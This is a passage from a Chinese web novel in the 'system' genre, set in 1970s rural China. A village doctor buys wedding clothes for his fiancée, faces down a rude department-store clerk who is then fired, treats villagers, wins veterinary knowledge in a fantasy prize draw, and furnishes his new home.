这年头一个壮劳力干一天活,也就挣八个工分,折合两三毛钱。 十块钱,那可是一个普通工人小半个月的工资了! “你现在的情况,虚不受补,需要的是固本锁阳,吃那个只会适得其反。” 江沐继续施针,随后道,“不过你媳妇倒是可以吃两颗,调理调理身子。” 杨小军一听这话,眼睛亮了! 他猛地一拍床板,压抑着激动,声音都有些发颤。 “江大夫!您听我说!不瞒您,我家解放前就是开药材厂的,路子广得很!您看这样行不行,您出丹,药材的事我来想办法!不管您要啥,只要这世上有的,我都能给您弄来!卖出去的钱,您六我四!您就坐着收钱,剩下的跑腿打点全交给我!” 这小子,脑子转得倒是快。 江沐心里有些意动,但并没有直接答应,“这事以后再说,先把你自己的病治好。” 他没立刻答应,也没直接拒绝。 这种事,不能操之过急。 一炷香的工夫过去,针灸结束。 杨小军穿好衣服,整个人神清气爽,千恩万谢地带着媳妇走了。 送走两人,江沐看了看天色,去找张小月。 “小月,走,哥带你去县里扯布做新衣裳去。” 张峰一见江沐来了,热情地把他拉进屋,不由分说地从炕席底下摸出一个用手帕包着的小包,硬往江沐手里塞。 “江沐啊,这是叔的一点心意,不多,你拿着。结婚是大事,不能委屈了小月。” 江沐捏了捏,就知道里面是钱,还不少。 他连忙推了回去。 “叔,这可使不得!我娶媳妇,哪能再让您掏钱?您把小月交给我,就是对我最大的信任了,这钱我说啥也不能要!” “拿着!必须拿着!这是规矩!” 两人一番拉扯,张峰见实在拗不过江沐,只好叹了口气,把钱塞到了自己闺女张小月手里。 “闺女,你拿着,这是爸妈给你的体己钱。” 江沐这才没再多言。 骑上崭新的二八大杠,张小月坐在后座,轻轻搂着江沐的腰。 初秋的风带着凉爽,吹得人心里都敞亮。 “江沐哥,”张小月把脸贴在他宽厚的背上,小声问,“我爸给的钱,你为啥不要呀?” “傻丫头。”江沐目视前方,声音里带着笑意,“哪有爷们儿娶媳......娶媳妇还让老丈人掏钱的道理?传出去,我的脸往哪搁?再说了,你男人有本事挣钱,保管让你风风光光地嫁过来。那钱你回头找个机会,悄悄还给你爸妈。” 张小月听着他霸道又温柔的话,心里甜得不行,搂着他腰的手臂不由得又紧了几分。 自行车在坑坑洼洼的土路上颠簸着,一个多小时后,县城的轮廓终于出现在眼前。 江沐熟门熟路地把车停在百货大楼外的停车场,上了锁。 张小月跟在他身后,看着眼前这座三层高、在整个陕州都算得上宏伟的建筑,有些紧张地攥紧了衣角。 她深吸一口气,小声嘟囔了一句。“这……这还是我第二次来县里呢。” 江沐把自行车锁好,回头便看到张小月那副既好奇又有些怯生生的模样,不由得心头一软,牵起了她微凉的手。 “走,怕啥,里头卖东西的也是人,还能吃了咱们不成?”他温声一笑,掌心的温度给了张小月莫大的勇气。 一脚踏入百货大楼,一股夹杂着新布料、雪花膏和洋铁皮制品的独特气味扑面而来。 四周的玻璃柜台擦得一尘不染,里面琳琅满目的商品让张小月看花了眼。 这地方,可比公社的供销社气派太多了! 两人径直上了二楼,这里是服装和布料区。 一排排成衣挂在那里,的确良、卡其布、灯芯绒……各种颜色和款式,对于平日里只有蓝、灰、黑三色的农村姑娘来说,简直像是闯入了一个新世界。 “江沐哥,这儿的衣裳……也太好看了。”张小月小声惊叹,眼睛都不够用了。 “有看上的吗?”江沐含笑看着她。 张小月凑近一件的确良衬衫,翻开吊牌,看到上面七元八角的价格,猛地缩回了手。 七块八! 这都够一个壮劳力在队里挣小半年的工分了! 她连连摇头,拉着江沐的衣袖往布料区走。 “太贵了,太贵了!咱们还是扯点布回去,我给你和我都做一身新的,能省下一大半呢!” 第74章 钱是王八蛋,花了咱再赚 江沐却没动,他的目光被不远处挂着的一件连衣裙吸引了。 那是一件红底白点碎花的连衣裙,收腰设计,A字形的裙摆,他几乎立刻就想象出张小月穿上它的样子,肯定好看。 “小月,你看那件。”他抬手指了指。 张小月顺着他指的方向看去,脸一下就红了。 那裙子太好看了,但也太……太招摇了。 她低头看了一眼价格牌,“十……十二块六!还要一张工业券!江沐哥,你疯啦!这都够买一头小猪崽了!” “钱是王八蛋,花了咱再赚。”江沐冲着柜台后一个正在修指甲的年轻女售货员扬了扬下巴,“同志,麻烦把那件红色的连衣裙拿下来,给我们看看。” 那女售货员眼皮都懒得抬一下,只从鼻子里哼出一声,眼神轻飘飘地从两人身上扫过。 一身打着补丁却干净的粗布衣裳,脚上是沾着黄土的布鞋,一看就是从乡下来的泥腿子。 她懒洋洋地开了口。“同志,眼神不好还是不识数?那后头的衣裳可不便宜,最便宜的都得五块钱往上。不买就别瞎看,摸脏了你们可赔不起。” 这话声音不大,刺穿了现场热闹的气氛。 周围几个顾客都看了过来,目光复杂。 张小月的脸涨得通红,攥着江沐的衣角,只想找个地缝钻进去。 江沐的脸色瞬间冷了下来。 他没看那售货员,反而上前一步,直视着她。 “你这是什么态度?” 售货员愣了一下,手里的指甲锉也停了。 “我什么态度?我正常工作态度!” “正常工作态度?”江沐冷笑一声,声音不大,却字字清晰。 “我们是来买东西的顾客,不是来要饭的。你凭什么断定我们买不起?还是说,在你眼里,我们这些穿着朴素的老百姓,就不配进你们这金碧辉煌的百货大楼?” 他顿了顿,随后道,“墙上挂着为人民服务的标语,难道就只为那些穿得光鲜亮丽的人民服务吗?你这种行为,是在割裂干群关系,是在搞阶级对立!” 搞阶级对立这顶大帽子扣下来,那女售货员的脸一下就白了! 在这个年代,这可是能要人命的罪名! 她猛地站起身,又惊又怒。 “你……你少在这儿胡说八道,拿大帽子扣人!我什么时候说不卖给你了?我看你就是故意来找茬的!” “找茬?”江沐环视四周,对着越聚越多的人群朗声开口。 “大家伙儿都来评评理!我们农民兄弟进城,想给未婚妻买件新衣裳,就因为穿得不像城里人,就要被售货员同志当贼一样防着,当叫花子一样看着! 我就想问问,这百货大楼,到底是我们人民的百货大楼,还是某些人作威作福的私家地盘?” 这番话瞬间点燃了群众的怒火。 谁还没受过这些铁饭碗的气?平时敢怒不敢言,今天见有人带头,积压的怨气一下子全爆发了! “就是!这小姑娘态度一直就这样,跟谁欠她八百吊钱似的!” “没错!上次我来买块布,她爱答不理的,还把我布票都给撕了个角!” “狗眼看人低!以为在百货大楼上班就高人一等了?忘了自己也是劳动人民了?” 议论声如同潮水般涌来,那女售货员起初还有些慌张,但一看到众人群情激奋的样子,反而来了底气。 她挺直了腰板,冷哼一声。 “吵什么吵!都想干什么?造反啊!告诉你们,我二舅就是这百货大楼的副主任!再敢闹事,我立马让保卫科把你们全都抓起来!” 这话一出,原本嘈杂的人群安静了片刻,原来是有后台的! 怪不得这么嚣张! 可江沐是谁?会怕一个区区副主任的外甥女? “抓起来?好大的官威啊!”江沐不退反进,气势更盛。 “我倒要看看,是哪个保卫科,敢无缘无故抓我们这些响应国家号召、建设祖国的普通老百姓!” 就在双方剑拔弩张之际,一个穿着中山装的中年男人急匆匆地从楼梯口跑了过来,脑门上全是汗。 “都干什么呢!围在这儿像什么样子!散了散了!” 他身后还跟着两个戴着红袖章的保卫科人员,推开人群。 那女售货员一看到来人,顿时委屈巴巴地喊了一声。 “舅!他……他们欺负我!” 来人正是百货大楼的副主任陈健康,他一听这声舅,恨不得当场找个地缝钻进去。 他狠狠瞪了自己那不长脑子的外甥女孙秀秀一眼,这才转向江沐,赔笑道。 “这位同志,我是这儿的负责人陈健康,请问……到底发生了什么事?” 此时,那两个保卫科的人已经走到了江沐面前,其中一个厉声质问:“就是你在这儿带头闹事?” 江沐看向陈健康,不卑不亢地将事情的来龙去脉复述了一遍。 最后,他抬手指了指墙上鲜红的标语。 “陈主任,我就想替大伙儿问一句,这为人民服务五个大字,是不是只服务领导和职工,不服务我们这些面朝黄土背朝天的农民?” 这一问,诛心! 陈健康脸上的汗冒得更凶了。 他知道今天这事要是处理不好,传出去影响就太坏了! 他深吸一口气,对着周围的群众一躬身。 “各位同志,实在对不住!是我们管理不到位,出了这种害群之马!我陈健康在这里向大家保证,一定给大家一个满意的交代!” 说完,他猛地转身,指着孙秀秀的鼻子厉声呵斥。 “孙秀秀!谁给你的胆子这么跟顾客说话的?你忘了你的工作职责了吗?你还当自己是旧社会的地主婆吗?从今天起,扣你半个月工资,写一份深刻检讨,当众给这位同志道歉!” 孙秀秀一听要扣半个月工资,比挨一巴掌还难受,急得眼泪都快下来了。 “舅!我错了!我道歉!您别罚我钱啊!” “闭嘴!”陈健康恨不得立刻把这个蠢货外甥女塞回她娘胎里去。 他现在是骑虎难下,只能硬着头皮处理。 孙秀秀被吼得一哆嗦,再不敢多言,只能不情不愿地走到江沐面前,低着头,“对……对不起。” 江沐还没来得及表态,便听到身后传来声音。 “哎,陈主任,您这儿挺热闹啊,这是怎么了?” 众人回头一看,只见一个穿着干净的确良衬衫、二十多岁的年轻人走了过来。 陈健康一看来人,立刻快步迎了上去。 “哎哟!是赵干事啊!什么风把您给吹来了?您来这儿有事,打个电话就行,我亲自给您送过去啊!” 被称作赵干事的人,正是县长沈青山的秘书,小赵。 小赵摆了摆手,目光在江沐和孙秀秀身上转了一圈,这才开口。 “我可不敢劳您大驾。这不是沈县长脚上的皮鞋开口了嘛,让我来给他挑双新的。” 第75章 她的江沐哥,也太厉害了 赵干事话音刚落,江沐的眸光便微微一动。 这不就是那天跟在沈县长身边的司机小赵吗?他怎么也来这儿了? 几乎是同一时间,小赵的视线也越过人群,精准地落在了江沐身上。 他先是一愣,随即挤了过来,熟稔地伸出手。 “哎呀!江沐同志,真是巧啊!你也来县里逛百货大楼?” 陈健康的眼珠子都快瞪出来了,脸上的笑容僵在嘴角,显得滑稽又可笑。 他看看小赵,又看看江沐,脑子里一片空白。 赵干事……认识这个乡下来的泥腿子?而且看这态度,关系还不一般! 他瞬间反应过来,腰弯得更低了,语气里满是庆幸。 “原来……原来都是自己人!大水冲了龙王庙了!江沐同志,您看这事闹的,都是误会,天大的误会啊!” “自己人?”小赵眉毛一挑,他是什么人?人精中的人精! 他不动声色地收回手,拍了拍江沐的肩膀,转向陈健康。 “陈主任,我还没问呢,这儿是出了什么事?怎么这么多人围着江沐同志?” 他顿了顿,语气随意,“我可得提醒你一句,沈县长前段时间身体不舒坦,就是江沐同志给调理的。沈县长还念叨着,说江沐同志是他的贵人,是我们邹县的宝贝疙瘩呢!” 陈健康只觉得后脖颈子一阵发凉。 沈县长的贵人?宝贝疙瘩?自己那个蠢货外甥女,刚才居然指着县长贵人的鼻子骂人家是泥腿子,还扬言要让保卫科把人抓起来? 完了!这回这是踢到了一座钢山! 小赵见他脸色煞白,知道火候到了,又补了一刀。 “陈主任,江沐同志可不是一般人,跟沈县长的关系好着呢!你这儿要是有什么解决不了的麻烦,也别为难。我回去跟沈县长提一嘴,让他老人家亲自过来给你处理处理。” 让县长亲自来处理?那他这个副主任还想不想干了! “不不不!不敢劳烦县长大驾!” 陈健康一转身,对着江沐就是一个九十度的鞠躬,声音都带着哭腔。 “江沐同志!是我有眼无珠,是我管理无方!您大人有大量,您说,这事儿您想怎么处理?只要您一句话,我陈健康要是皱一下眉头,就不是人!” 江沐淡淡地瞥了一眼已经吓得面无人色的孙秀秀,语气平静。 “我不想怎么样,我只要一个让大家伙儿都满意的交代。” “明白!我明白了!”陈健康如蒙大赦,立刻直起身,指着孙秀秀厉声道,“孙秀秀!你被开除了!因为你恶劣的工作态度,严重损害了我们百货大楼在人民群众心中的形象!现在!立刻!给我卷铺盖滚蛋!” 他又冲着那两个保卫科的人一挥手。 “还愣着干什么?把她给我带到办公室去办手续,然后扔出去!” 孙秀秀抱着陈健康的腿就开始嚎啕大哭。 “舅!你不能开除我!我错了!我真的错了!你再给我一次机会吧舅!” 然而,陈健康此刻为了自保,哪里还顾得上什么外甥女。 他一脚踹开孙秀秀的手。 看着被两个保卫科人员架起来、哭得撕心裂肺的孙秀秀,江沐冷哼。 想就这么算了?门都没有。 他从不是个会让自己受委屈的人。 他心念一动。 系统,给我把疾病收集器里储存的重度口腔溃疡和重感冒,全给她安排上! 陈健康处理完孙秀秀,这才凑到江沐跟前。 “江沐同志,您看……这个处理结果,您还满意吗?” 江沐这才点了点头。“陈主任处理得很好,很公正。” 得到肯定的答复,陈健康长舒了一口气。 他转过身,对着围观的群众再次一躬身,声音洪亮。 “各位乡亲,各位同志!今天的事情,是我陈健康的失职!我向大家保证,从今往后,我们百货大楼坚决杜绝此类事件再次发生! 以后大家要是再遇到服务态度不好的,直接来三楼办公室找我投诉!我陈健康一定给大家一个合理的交代!” 人群中先是安静了一瞬,随即爆发出叫好声和掌声。 “好!陈主任这事办得敞亮!” “就该这样!看以后谁还敢狗眼看人低!” 陈健康擦了擦汗,连忙从柜台里又喊出来一个眉清目秀、看起来就很机灵的女售货员,推到江沐面前。 “江沐同志,这是我们这儿服务最好的售货员王娟。您和您对象想买点什么,只管跟她说!结账的时候,我做主,全部给您按我们内部职工的福利价算!” 交代完这一切,他才又满脸堆笑地跟小赵打了个招呼,借口有事,溜了。 小赵也笑着冲江沐点了点头,转身去一楼给沈县长挑皮鞋去了。 风波平息,柜台前只剩下江沐、张小月和新来的售货员王娟。 王娟的态度和之前的孙秀秀简直是天壤之别,“同志您好,请问您需要点什么?刚才您看上的,是这件红底白点的连衣裙吗?” 张小月看向江沐的目光中满是崇拜。 她的江沐哥,也太厉害了! 三言两语,就让那个嚣张的副主任低头哈腰,还让县长的秘书都对他客客气气的! 王娟已经将那件连衣裙取了下来,捧在手里展示给两人看。 “两位同志眼光真好,这可是我们这儿最新到的款式的确良面料,又透气又好看,最衬皮肤白的姑娘了!” 江沐接过裙子,在张小月身前比划了一下,温声问她。“喜欢吗?” 那明媚的红色映得张小月脸颊绯红,她心跳得厉害,但脱口而出的第一句话还是。“多……多少钱?” 王娟拿出算盘噼里啪啦一算,笑盈盈地报出价格。 “按员工福利价,给十块钱,再加一张布票就行了!” “十块!”张小月头摇得像拨浪鼓。“不要了不要了!太贵了!” 江沐直接将裙子递给王娟。 “就要这件。另外,再给她配一件白色的确良衬衣,一条蓝色的卡其布裤子,还有……再来双黑色的牛筋底皮鞋。” “好嘞!”王娟手脚麻利地去取货。 很快,衣物和一双黑皮鞋就摆在了柜台上。 对于那些新衣服,张小月嘴上一个劲儿地说不好看,不喜欢。 江沐心里清楚,这丫头,就是心疼钱。 他拉过一张凳子让张小月坐下,自己则自然而然地蹲下身,亲自拿起那双皮鞋,托起她的脚,温柔地为她试穿。 鞋码不大不小,正正好好。 “很合适。”江沐抬起头,笑着说道。 他站起身,将那件连衣裙、衬衣和裤子一并交给王娟,“这些,还有这双鞋,全都给我们包起来。” 站在一旁的王娟,看着眼前这一幕,心里羡慕得不行。 这个乡下来的姑娘真是好福气,能找到这么一个既有本事,又肯为她花钱,还这么体贴疼人的男人! 第76章 江沐哥现在可不是一般人 张小月急了,一把拽住他的胳膊,“江沐哥,这……这太多了!我不要这么多,就要那件连衣裙就行了!” 五十块钱! 这都快赶上一个壮劳力大半年的工分了! 她怎么敢这么大手大脚? 江沐反手握住她微凉的小手,指腹在她手背上轻轻摩挲,安抚着她焦躁的情绪。 他看着王娟,语气不变。 “再给我拿一身。一米七五的个头,要一身耐磨的卡其布中山装,一双解放鞋。” “好嘞!”王娟的动作比声音还快,转身就去取货了。 “江沐哥!”张小月又气又急,眼眶都有些红了。 他怎么就不听劝呢! 江沐凑近她,温热的气息拂过她的耳畔,“钱的事,你不用操心。你男人有本事,还养不起你?” 这声你男人,让她剩下的话全都堵在了喉咙里。 很快,两人的衣物鞋袜全都打包好了,整整两大包。 王娟算盘打得噼啪响,最后报出一个数字:“一共五十块钱,零头给您抹了!” 张小月的心跟着那算盘珠子一上一下,听到五十这个数字时,只觉得呼吸都停了一瞬。 江沐却连眼睛都没眨一下,从口袋里掏出一卷大团结,数出五张递了过去,动作潇洒利落。 提着两大包东西走出百货大楼,张小月还觉得,跟做梦一样。 她看着身边神色自若的江沐,小声嘀咕。“咱们……咱们把钱都花光了可怎么办呀?” 江沐被她这副小仓鼠屯粮的模样逗笑了,他腾出一只手,刮了刮她的鼻尖。 “傻丫头,看着吧,等我们结了婚,你就知道这点钱挣起来有多容易了。” 他的话里透着一股强大的自信,莫名叫人信服。 日头渐渐偏西,江沐的肚子也应景地叫了一声。 他看了看天色,提议道。 “走,忙活大半天了,带你去吃好的,咱们去国营饭店吃牛肉面去!” “牛肉面?”张小月一听,脑袋摇得更快了,“那得多贵啊!咱们还是赶紧回公社吧,家里还有饭呢!” “那不行。”江沐态度坚决,拉着她的手就往国营饭店的方向走,不给她任何拒绝的机会。 “今天必须让你吃上肉。” 国营饭店里人声鼎沸,空气中弥漫着一股浓郁的饭菜香。 江沐找了个靠窗的空位,让张小月坐下看东西,自己则径直去了点餐的窗口。 “同志,两碗牛肉面,多加肉!再切半斤酱牛肉,拍个黄瓜。” 他洪亮的声音让周围排队的人都忍不住侧目。 这年头,敢这么点菜的,不是干部就是有钱的主儿! 当两碗飘着油花、铺满大片牛肉的面条,和一盘堆得冒尖的酱牛肉、一盘清爽的凉拌黄瓜端上桌时,张小月彻底傻眼了。 她看着碗里那几乎要把面都盖住的牛肉,眼眶一热,差点掉下泪来。 长这么大,她还是第一次见到这么实在的牛肉面。 “快吃吧,一会儿凉了就不好吃了。”江沐夹了一大筷子酱牛肉放进她碗里,催促着。 张小月拿起筷子,小心翼翼地夹起一片牛肉,吹了吹,才放进嘴里。 她幸福地眯起了眼睛,小声地道,“江沐哥,这是我……我这辈子第一次吃牛肉。” 江沐夹菜的动作一顿,他看着女孩儿满足又带着点心酸的模样,心里又是怜爱又是好笑。 “傻丫头,喜欢吃就行。以后我天天带你来,让你吃到腻为止!” “才不要呢!会把你吃穷的!”张小月嘴上反驳着,吃面的速度却快了不少。 一顿风卷残云,两人吃得心满意足。 江沐带着张小月回到张家时,天色已经擦黑了。 他将给张家买的礼物一一拿了出来,一瓶西凤酒、两条大前门香烟是给未来老丈人和大舅哥的,还有几包给刘桂芝和孩子们准备的糕点糖果。 张峰看着这些东西,眉头立刻就皱了起来。 “江沐,你这是干什么?太破费了!咱们马上就要成一家人了,你后面要用钱的地方多着呢!” “叔,这都是些不值钱的小东西,应该的。”江沐笑着将东西塞到他手里,态度不容拒绝。 江沐在张家一直坐到六点多,吃过了晚饭才起身告辞。 他前脚刚走,后脚张峰就把张小月拉到一边,压低声音问。 “小月,爸今天早上塞给你的钱,你花了没?” 张小月从贴身的口袋里掏出一个手绢包,打开来,里面一沓崭新的票子分文未动。 “江沐哥不让我掏钱,买东西吃饭都是他花的。” 张峰看着那沓钱,沉默了片刻,才重新将手绢包好,塞回女儿手里,“这钱你收好,就当是爸给你添的压箱底儿钱。等你结了婚,爸可就没钱再给你了。” 里屋的刘桂芝也走了出来,拉着张小月的手,满眼都是笑意。 “快,把新衣裳拿出来我瞅瞅,穿上试试,要是不合身,妈趁早给你改改。” 她一边说,一边掂了掂那两个大包裹,忍不住问,“这得花不少钱吧?” 张小月一五一十地把价格说了出来。 “我那条红裙子就要十多块,还有衬衣、裤子、皮鞋……加上江沐哥自己的一身,一共花了整整五十!这还是人家给的内部职工价呢!” “多……多少?五十?!”刘桂芝手里的针线活儿掉在了地上,震惊道。 看着母亲和父亲震惊的表情,张小月心里涌上一股莫名的自豪。 她凑到刘桂芝耳边,压低声音道,“妈,爸,你们不知道,江沐哥现在可不是一般人……今天在百货大楼,我们碰上县长的司机了,人家对他客气着呢!” 刘桂芝和张峰对视一眼,都从对方眼里看到了惊疑。“哪个县长?” “就是咱们邹县的沈县长!”张小月挺了挺胸脯,骄傲道,“听那司机的意思,沈县长前阵子生病,就是江沐哥给看好的!人家还说,江沐哥是县长的贵人呢!” 这个消息,比那五十块钱的冲击力还要大上百倍! …… 夜幕降临,青莲公社卫生室的煤油灯亮了起来。 江沐刚把今天买的草药归置好,门帘就被人从外面掀开了,一个面色发白、捂着肚子的中年男人探头探脑地走了进来。 “江沐大夫,您……您在呢?”来人是二大队的社员刘进。 江沐放下手里的活计,起身迎了上去。 “刘大哥,怎么了?哪里不舒服?” 刘进一脸痛苦,冷汗都冒出来了,他指了指自己的肚子,声音虚弱。 “大夫,我……我这两天拉屎带血,肚子也疼得厉害!” 江沐扶着他坐下,神色立刻变得专注起来。 他搭上刘进的手腕,闭目凝神,仔细号了号脉。 片刻后,他睁开眼,眉头微蹙。 “别急,你仔细想想,昨天睡前吃了些什么?” 第77章 专家级兽医知识传承 刘进咂摸了半天,才一拍大腿。 “哦!想起来了!昨天我婆娘从娘家带了半罐油泼辣子,香得很!我没忍住,就着俩黑面馍,干了小半罐!” 江沐的眉头瞬间舒展开来。 “这就对了。你这不是什么大病,就是肠胃受了辛辣刺激,加上天热,有些动火了。回去后这几天清淡饮食,别碰油腻和辛辣的东西,喝点温水,过两天自然就好了。” “啥?就……就这么简单?”刘进愣住了,他本以为自己得了什么不治之症,连棺材本怎么分都想好了。 江沐被他这副如释重负的模样逗乐了。“不然你还想怎么样?给你开膛破肚?” “不不不!不用不用!”刘进立刻摇头,站起来就要给江沐鞠躬,“哎哟,江沐大夫,您真是神了!吓死我了!我还以为……嗨!多谢您,多谢您!” 他一边说着,一边从口袋里掏出皱巴巴的两毛钱要往江沐手里塞。 江沐手一挡,将钱推了回去,神色平静。 “乡里乡亲的,用不着这个。以后注意点饮食就行。” 打发走千恩万谢的刘进,江沐刚准备歇口气,门帘又被掀开了。 几个半大的孩子簇拥着一个嫂子走了进来,几个孩子都蔫头耷脑的,捂着肚子哼哼唧唧。 “江沐大夫,快给我们家这几个看看,上山掏了鸟蛋,回来就上吐下泻的,怕不是吃坏了啥野果子!” 江沐一番检查,开了几服调理肠胃的中药,这才算清净下来。 夜深人静,他锁好卫生室的门,回到自己的小屋。 躺在硬邦邦的土炕上,江沐却没有丝毫睡意,他双眼晶亮,心念一动,意识沉入了那个熟悉的空间。 【声望商城】 看着右上角那一串闪亮的数字——声望值:1125。 治好沈县长带来的声望是巨大的,加上今天给张小月买东西在百货大楼引起的轰动,还有陆陆续续为社员们看病积攒的感激,声望值终于又突破了一千大关。 够一次十连抽了! “系统,来发十连!”江沐心中默念。 【叮!消耗1000声望值,十连抽奖开始!】 眼前的虚拟屏幕上,一个巨大的轮盘飞速旋转起来,各色光芒交织闪烁,令人眼花缭乱。 江沐搓了搓手,嘴里念念有词。 “天灵灵地灵灵,不求别的,给老子来个红!” 光芒渐敛,十个光团悬浮在空中,依次炸开。 白光。 白光。 又是白光…… 一连六道刺眼的白光闪过,江沐的心凉了半截。 光团散去,露出里面的东西——肥皂、毛巾、的确良布料、大米、白面……全都是些日常用品。 “操!亏麻了!”江沐忍不住低骂一声。 就在他以为这次要血本无归时,异变突生! 连续三道幽蓝色的光芒绽放开来,驱散了周围的惨白。 江沐精神一振,目光紧紧锁定了过去。 光芒散尽,三样东西静静地悬浮着。 一台半导体收音机,小巧精致,在七十年代绝对是稀罕的奢侈品。 一个通体金黄的手镯,约莫十五克重,款式简单大方,一看就价值不菲。 最后一物,却让江沐有些哭笑不得——一根黑色的警用电棍。 这玩意儿防身倒是不错,可问题是,这穷乡僻壤的,上哪儿给它充电去? 还剩最后一个光团,它没有炸开,而是散发着一圈圈柔和的金色光晕,显得与众不同。 “金色传说?”江沐的心跳漏了一拍。 【叮!恭喜宿主获得金色奖励:专家级兽医知识传承!】 话音刚落,那团金光瞬间炸开,化作无数细碎的符文,疯狂涌入江沐的脑海! “呃……” 海量的信息流冲击着他的神经,从猪牛羊的常见病理,到禽类的瘟疫防治,再到各种疑难杂症的外科手术……无数的知识、经验、案例,深刻地烙印在了记忆深处。 这股庞大的信息流,几乎让他的大脑宕机。 江沐只觉得眼皮越来越沉,索性关闭了系统空间,头一歪,直接昏睡了过去。 …… 第二天,天光大亮。 江沐是被窗外叽叽喳喳的鸟叫声吵醒的。 他揉了揉有些发胀的太阳穴,仔细梳理着脑海中多出来的专家级兽医知识。 他发现这门学问与中医许多地方竟有异曲同工之妙,只不过一个医人,一个医兽。 在这个牲口就是半个家的年代,这项技能的价值,恐怕不比他医人的本事小! 想到这,江沐的心情好了不少。 虽说没出红,但一个金色传承加三件蓝色物品,也算不亏了。 日子一晃,就到了给杨小军第三次针灸的日子。 诊室内,江沐气定神闲地捻动着银针,杨小军趴在床上,感受着双腿久违的酸麻胀痛感,脸上满是喜色。 起完针,杨小军一边活动着筋骨,一边迫不及待地开了口。 “江沐兄弟,我上次跟你提的那个事儿,你考虑得怎么样了?”他指的是合作卖滋补丹药的事。 江沐将银针一一消毒收好,淡淡一笑。 “这事儿可行。不过,我月底二十号要结婚,最近得忙着收拾屋子,恐怕要等我结完婚才有空了。” “结婚?”杨小军先是一愣,随即一拳捶在江沐肩上,“哎呀!这是大喜事啊!恭喜恭喜!那生意的事儿不急,等你忙完再说!到时候可得请我喝杯喜酒啊!” 江沐点了点头,脸上是藏不住的笑意。“当然,欢迎你来。” 八月十二号,天气晴朗。 江沐起了个大早,将之前托人从县城买来的玻璃小心翼翼地安进了窗框。 刚忙活完,院子外就传来一阵喧闹声。 只见张小月的哥哥张玖博和张松山的儿子张放,几个人用板车拉着崭新的家具,在张小月的陪同下,浩浩荡荡地过来了。 “江沐兄弟的家具到啦!” 不知是谁喊了一嗓子,村子里正在上工的、在家歇着的社员们,呼啦一下全都围了过来,七手八脚地帮忙卸货。 一张雕着喜鹊登梅图案的木床,一个带穿衣镜的大衣柜,还有八仙桌、长条凳……一件件刷着亮漆的家具搬进屋。 张放抹了把汗,憨厚地笑着。“江沐兄弟,东西都给你送到了,你点点看。” 江沐眼皮都没抬一下,从口袋里摸出一沓厚厚的大团结,仔细数出十三张,递了过去。 “张放哥,辛苦你们了,这是剩下的一百三十块钱尾款,你收好。” 周围的村民看到那厚厚一沓钱,眼睛都直了。 送走了所有人,院子里终于安静下来。 张小月没有跟着回家,而是留了下来。 夕阳的余晖透过崭新的玻璃窗,洒在两人身上,拉出两道长长的影子,紧紧依偎在一起。 “江沐哥,你看,这里以后就是我们的家了。”张小月手里拿着抹布,脸上洋溢着幸福的憧憬。 江沐从身后轻轻环住她的腰,下巴抵在她的发顶,闻着她身上淡淡的皂角香,心中一片安宁。 “是啊,我们的家。” 第78章 但我不想只当一个收购员 温存的时光总是短暂,太阳下山。 江沐松开怀抱,看着张小月脸上那抹幸福的红晕,心头一片柔软。 “东西都齐了,我看这两天天气好,就把卫生室那点家当搬过来。” 卫生室毕竟是公家的地盘,住着总归不是长久之计,尤其……马上就要成家了,上个厕所都得跑老远,诸多不便。 张小月重重地点了下头,“嗯!这里收拾得差不多了,就差些锅碗瓢盆,我明天从家里拿些过来!总住在卫生室,像什么样子嘛。” 她的话语里带着对未来小家的期盼。 …… 中午两人就在卫生室的小灶上,简单下了两碗挂面,卧上两个荷包蛋,也吃得心满意足。 吃过饭,张小月擦了擦嘴,提议道:“江沐哥,我想去我姑姑家坐坐,好些天没见她了。” “应该的,我陪你一起去。”江沐毫不犹豫地应下。 他清楚,想要在这个村子里扎下根,人情往来是必不可少的一环,何况对方还是李有柱的婆娘,张小月的亲姑姑。 二人一前一后,穿过村里晾晒着玉米的土路,很快就到了李有柱家。 院子里,张兰正蹲在个大木盆前搓着衣服,她的小孙子小福子光着屁股,正用个破瓢在地上和泥巴,玩得不亦乐乎。 “姑!”张小月清脆地喊了一声。 张兰猛一抬头,看到是张小月和江沐,立刻扬起笑容,连忙在围裙上擦了擦湿漉漉的手。 “哎哟!是小月和江沐大夫来了!快快快,屋里坐!”她嗓门洪亮,并一推小福子,“小福子,你个皮猴!别玩泥巴了,赶紧去屋里把你爷喊起来!再给你姑和你江沐叔搬两个马扎出来!” 小福子人小鬼大,脆生生应了一声,颠颠儿地跑了。 张兰一边招呼他们坐下,一边热络地拉起了家常,当听说新房的家具都送到了,她更是高兴得合不拢嘴。 “那敢情好啊!挑好日子没?打算啥时候搬进去?” 江沐接过小福子搬来的马扎,稳稳坐下。 “就这两天吧,趁着天晴。到时候暖房,还得劳烦姑过去给咱们掌勺呢!” “瞧你这孩子说的!”张兰一拍大腿,笑得前仰后合。 “给你俩办喜事,我这个当姑的还能不出份力?放心,到时候我保准给你们整一桌最丰盛的!” 话音刚落,里屋的门帘一挑,李有柱打着哈欠走了出来,他揉着惺忪的睡眼。 “谁在外面嚷嚷……哟!小江来了!”他瞬间清醒过来,手掌在江沐肩上重重一拍,“正好正好!你搬新家这可是大喜事,到时候咱们必须得好好整两盅!不醉不归!” 他儿子李振国也跟着走了出来,憨厚地冲江沐笑了笑。 几个人就在院子里,就着午后的阳光聊了起来。 江沐提起自己新院子里的那棵梨树,果子都挂熟了,正准备下午去摘了。 李有柱一听,眼睛都亮了。 “你说那棵老梨树?乖乖,那可是咱们青莲公社一绝!结的梨又脆又甜,汁水多得能淌一手!往年一到这时候,高书记都得惦记着,我年年都得给他送一筐过去解馋!” 江沐心中一动,立刻接话:“那正好,下午摘下来,咱们几家都分分,也给高书记送些去。” “敞亮!”李有柱竖起个大拇指,满脸赞许,“走!下午我叫上振国,咱们一起去帮你摘!人多力量大!” …… 说干就干,一行人浩浩荡荡地朝着江沐的新家走去。 路过大队书记高志强家门口时,李有柱扯开嗓子就是一通猛喊。 “高书记!在家没?江沐兄弟家摘梨,下来搭把手,见者有份啊!” 很快,高志强也笑着加入了队伍。 一下午的忙活。 那棵老梨树也不负众望,足足摘下来两大筐,称了称,竟有二百多斤。 江沐没小气,当场就分了。 李有柱家、高志强家,还有帮忙的几个邻居,一家分了二十来斤,剩下的他自己留了三十来斤,又专门挑了些品相最好的,装了一小筐让张小月带回家。 将张小月送到家门口,看着她提着梨,一步三回头地进了院子,江沐的心里也被填得满满当当。 …… 时光飞逝,转眼就到了给杨小军做最后一次针灸的日子。 诊室内,江沐捻动银针,动作行云流水。 随着最后一根针起出,他脑海中也适时地响起了系统的提示音。 【叮!治疗完成,获得声望值+30。】 